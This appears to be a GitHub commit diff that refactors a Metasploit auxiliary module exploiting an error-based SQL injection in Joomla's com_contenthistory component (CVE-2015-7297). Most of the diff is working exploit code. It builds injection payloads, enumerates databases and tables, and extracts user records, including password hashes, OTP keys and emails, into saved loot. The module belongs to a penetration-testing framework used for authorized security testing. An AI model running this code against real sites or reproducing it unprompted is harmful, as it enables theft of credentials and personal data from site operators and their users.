Skip to content

Commit a662811

Browse files
committed
rebuild joomla_contenthistory_sqli (cve-2015-7297)
1 parent 949a4c7 commit a662811

File tree

1 file changed

+140
-65
lines changed

1 file changed

+140
-65
lines changed

modules/auxiliary/gather/joomla_contenthistory_sqli.rb

Lines changed: 140 additions & 65 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,9 @@ def initialize(info = {})
1414
super(update_info(info,
1515
'Name' => 'Joomla com_contenthistory Error-Based SQL Injection',
1616
'Description' => %q{
17-
This module exploits a SQL injection vulnerability in Joomla versions 3.2 through 3.4.4
18-
in order to either enumerate usernames and password hashes or session IDs.
17+
This module exploits a SQL injection vulnerability in Joomla versions 3.2
18+
through 3.4.4 in order to either enumerate usernames and password hashes
19+
or session IDs.
1920
},
2021
'References' =>
2122
[
@@ -24,109 +25,183 @@ def initialize(info = {})
2425
],
2526
'Author' =>
2627
[
27-
'Asaf Orpani', #discovery
28-
'bperry' #metasploit module
28+
'Asaf Orpani', # discovery
29+
'bperry', # metasploit module
30+
'Nixawk' # module review
2931
],
3032
'License' => MSF_LICENSE,
31-
'DisclosureDate' => "Oct 22 2015"
33+
'DisclosureDate' => 'Oct 22 2015'
3234
))
3335

3436
register_options(
3537
[
36-
OptString.new("TARGETURI", [true, 'The relative URI of the Joomla instance', '/'])
38+
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
3739
], self.class)
3840
end
3941

4042
def check
4143
flag = Rex::Text.rand_text_alpha(8)
42-
left_marker = Rex::Text.rand_text_alpha(5)
43-
right_marker = Rex::Text.rand_text_alpha(5)
44+
lmark = Rex::Text.rand_text_alpha(5)
45+
rmark = Rex::Text.rand_text_alpha(5)
4446

45-
payload = "AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT 0x#{flag.unpack("H*")[0]}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
47+
payload = 'AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT('
48+
payload << "0x#{lmark.unpack('H*')[0]},"
49+
payload << "(SELECT 0x#{flag.unpack('H*')[0]}),"
50+
payload << "0x#{rmark.unpack('H*')[0]},"
51+
payload << 'FLOOR(RAND(0)*2)'
52+
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
4653

4754
res = sqli(payload)
4855

49-
if res and res.body =~ /#{left_marker}#{flag}#{right_marker}/
50-
return Msf::Exploit::CheckCode::Vulnerable
56+
if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/
57+
Msf::Exploit::CheckCode::Vulnerable
5158
end
5259

53-
return Msf::Exploit::CheckCode::Safe
60+
Msf::Exploit::CheckCode::Safe
5461
end
5562

56-
def run
57-
left_marker = Rex::Text.rand_text_alpha(5)
58-
right_marker = Rex::Text.rand_text_alpha(5)
63+
def request(query)
64+
query = "#{$payload}" % query
65+
res = sqli(query)
5966

60-
db_count = "AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
61-
res = sqli(db_count)
62-
db_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
67+
# Error based SQL Injection
68+
if res && res.code == 500 && res.body =~ /#{$lmark}(.*)#{$rmark}/
69+
$1
70+
end
71+
end
6372

73+
def query_databases
6474
dbs = []
65-
0.upto(db_count-1) do |i|
66-
db = "AND (SELECT 2255 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
67-
res = sqli(db)
68-
dbs << $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
75+
76+
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
77+
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
78+
79+
dbc = request(query)
80+
81+
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
82+
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
83+
84+
0.upto(dbc.to_i - 1) do |i|
85+
dbname = request(query_fmt % i)
86+
dbs << dbname
87+
print_good(dbname)
6988
end
7089

71-
dbs.delete('performance_schema')
72-
dbs.delete('information_schema')
73-
dbs.delete('mysql')
90+
%w(performance_schema information_schema mysql).each do |dbname|
91+
dbs.delete(dbname) if dbs.include?(dbname)
92+
end
93+
dbs
94+
end
7495

75-
users = []
76-
dbs.each do |db|
77-
vprint_status("Found database: " + db)
78-
tables = []
79-
table_count = "AND (SELECT 8640 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]})),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
80-
res = sqli(table_count)
81-
table_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
82-
83-
0.upto(table_count-1) do |i|
84-
table = "AND (SELECT 2474 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]}) LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
85-
res = sqli(table)
86-
table = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
87-
tables << table if table =~ /_users$/
88-
end
96+
def query_tables(database)
97+
tbs = []
8998

90-
tables.each do |table|
91-
vprint_status("Found table: " + table)
92-
user_count = "AND (SELECT 3737 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{db}.#{table}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
93-
res = sqli(user_count)
94-
user_count = $1.to_i if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
95-
cols = ["activation","block","email","id","lastResetTime","lastvisitDate","name","otep","otpKey","params","password","registerDate","requireReset","resetCount","sendEmail","username"]
96-
97-
0.upto(user_count-1) do |i|
98-
user = {}
99-
cols.each do |col|
100-
k = 1
101-
val = nil
102-
user[col] = ''
103-
while val != ''
104-
get_col = "AND (SELECT 7072 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),#{k},54) FROM #{db}.#{table} ORDER BY id LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
105-
res = sqli(get_col)
106-
val = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
107-
user[col] << val
108-
k = k + 54
109-
end
110-
end
111-
users << user
99+
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
100+
query << 'FROM INFORMATION_SCHEMA.TABLES '
101+
query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
102+
103+
tbc = request(query)
104+
105+
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
106+
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
107+
query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
108+
query_fmt << 'LIMIT %d,1)'
109+
110+
print_status('tables in database: %s' % database)
111+
0.upto(tbc.to_i - 1) do |i|
112+
tbname = request(query_fmt % i)
113+
print_good(tbname)
114+
tbs << tbname if tbname =~ /_users$/
115+
end
116+
tbs
117+
end
118+
119+
def query_columns(database, table)
120+
cols = []
121+
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
122+
123+
colc = request(query)
124+
print_status(colc)
125+
126+
valid_cols = [ # joomla_users
127+
'activation',
128+
'block',
129+
'email',
130+
'id',
131+
'lastResetTime',
132+
'lastvisitDate',
133+
'name',
134+
'otep',
135+
'otpKey',
136+
'params',
137+
'password',
138+
'registerDate',
139+
'requireReset',
140+
'resetCount',
141+
'sendEmail',
142+
'username'
143+
]
144+
145+
query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
146+
query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"
147+
148+
0.upto(colc.to_i - 1) do |i|
149+
record = {}
150+
valid_cols.each do |col|
151+
l = 1
152+
record[col] = ''
153+
loop do
154+
value = request(query_fmt % [col, l, i])
155+
break if value.blank?
156+
record[col] << value
157+
l += 54
112158
end
113159
end
160+
cols << record
161+
print_status(record.to_s)
114162
end
163+
cols
164+
end
115165

116-
path = store_loot('joomla.file', 'text/plain', datastore['RHOST'], users.to_json, 'joomla.users')
117-
print_good("Users saved to file: " + path)
166+
def run
167+
$lmark = Rex::Text.rand_text_alpha(5)
168+
$rmark = Rex::Text.rand_text_alpha(5)
169+
170+
$payload = ''
171+
$payload << 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
172+
$payload << "0x#{$lmark.unpack('H*')[0]},"
173+
$payload << '%s,'
174+
$payload << "0x#{$rmark.unpack('H*')[0]},"
175+
$payload << 'FLOOR(RAND(0)*2)'
176+
$payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
177+
178+
dbs = query_databases # query databases
179+
dbs.each do |db|
180+
tables = query_tables(db) # query tables
181+
tables.each do |table|
182+
cols = query_columns(db, table) # query cokumns
183+
next if cols.blank?
184+
path = store_loot(
185+
'joomla.users',
186+
'text/plain',
187+
datastore['RHOST'],
188+
cols.to_json,
189+
'joomla.users')
190+
print_good('Saved file to: ' + path)
191+
end
192+
end
118193
end
119194

120195
def sqli(payload)
121-
return send_request_cgi({
196+
send_request_cgi({
122197
'uri' => normalize_uri(target_uri.path, 'index.php'),
123198
'vars_get' => {
124199
'option' => 'com_contenthistory',
125200
'view' => 'history',
126201
'list[ordering]' => '',
127202
'item_id' => 1,
128203
'type_id' => 1,
129-
'list[select]' => "1 " + payload
204+
'list[select]' => '1 ' + payload
130205
}
131206
})
132207
end

0 commit comments

Comments
 (0)